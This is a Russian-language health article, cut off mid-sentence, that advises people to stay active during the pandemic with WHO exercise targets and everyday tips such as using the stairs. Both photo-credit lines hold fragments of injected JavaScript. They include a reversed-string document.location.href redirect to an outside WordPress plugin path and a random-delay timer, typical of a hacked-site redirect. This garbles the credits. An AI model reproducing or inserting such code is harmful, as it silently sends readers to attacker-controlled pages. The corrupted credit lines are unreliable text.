Из-за пандемии коронавирусной инфекции многие продолжают работать удалённо, отказываются от групповых занятий в фитнес-клубах, встреч с друзьями, посещения музеев. В результате в жизни становится всё меньше движения. Как сохранять необходимый для поддержания здоровья уровень физических нагрузок?
Умеренные физические нагрузки позволяют снизить риск развития неинфекционных заболеваний (например, диабета второго типа), укрепить сердце и лёгкие, мышцы и кости, а также поддерживать эмоциональное здоровье и предотвратить развитие депрессии. Что касается недостаточной физической активности, то в глобальном масштабе она остаётся одним из важнейших факторов риска, приводящих к смерти.
Специалисты Всемирной организации здравоохранения (ВОЗ) рекомендуют людям от 18 до 64 лет уделять занятиям аэробикой средней интенсивности не менее 150 минут в неделю. Если вы предпочитаете тренировки высокой интенсивности, занимайтесь не менее 75 минут в неделю.
Чтобы получить дополнительные преимущества для здоровья нужно постепенно увеличить продолжительность тренировок в два раза: выполнять до 300 минут аэробики средней интенсивности и до 150 минут аэробики высокой интенсивности в неделю.
Фото: shutterstoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tock.com
Но двигаться можно не только во время занятий фитнесом — увеличьте ежедневную физическую нагрузку при помощи этих нехитрых действий.
Двигайтесь, когда разговариваете по телефону
Во время пандемии телефонных и онлайн-звонков и становится всё больше. Проведите это время с пользой для организма — подключите к смартфону гарнитуру и отправьтесь на прогулку или выполняйте несложные упражнения во время разговоров: приседайте, поднимайтесь на носки и опускайтесь, вращайте голеностопом и попробуйте освоить положение «стульчик» — это статическое упражнение заставит мышцы ваших ног гореть.
Откажитесь от использования лифта
Пока вы едете в лифте, вы не тратите калории и не укрепляете своё сердце и сосуды. К тому же в лифте вы контактируете с другими людьми, что может быть небезопасно во время пандемии коронавирусной инфекции. Вместо того чтобы в очередной раз нажать на кнопку вызова лифта, прогуляйтесь пешком по лестнице. За 10 минут подъёма по ступенькам можно сжечь более 100 ккал. Увеличьте скорость подъёма, если хотите сделать тренировку более эффективной. А ещё на ступеньках можно выполнять разные упражнения: как именно — показывает тренер Эдвард Казарян в этом материале.
Добавьте в расписание короткие тренировки
Если у вас нет часа в день на тренировки — не беда, найдите хотя бы 10 минут (именно такой должна быть минимальная продолжительность тренировки, по мнению экспертов ВОЗ). Например, в перерыве между рабочими делами выполните 2-3 круга этих упражнений. Как видите, тренироваться каждый день проще, чем может показаться на первый взгляд. И кстати, не забывайте об обеденном перерыве — используйте это время для того, чтобы двигаться больше, а не для того, чтобы ещё немного поработать. А для тех, у кого совсем нет времени, мы подготовили этот список ультракоротких тренировок.
Фото: shutterstoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tock.com
Чаще делайте уборку дома
Уборка может стать интереснее, если относиться к ней не как к рутине и обязанности, а как к
